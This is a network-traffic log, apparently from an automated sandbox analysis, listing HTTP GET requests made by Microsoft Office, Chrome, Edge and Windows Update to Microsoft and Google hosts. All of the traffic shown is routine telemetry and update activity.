Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UNokVD8OU2oltpP&MD=6ZoGlafc HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
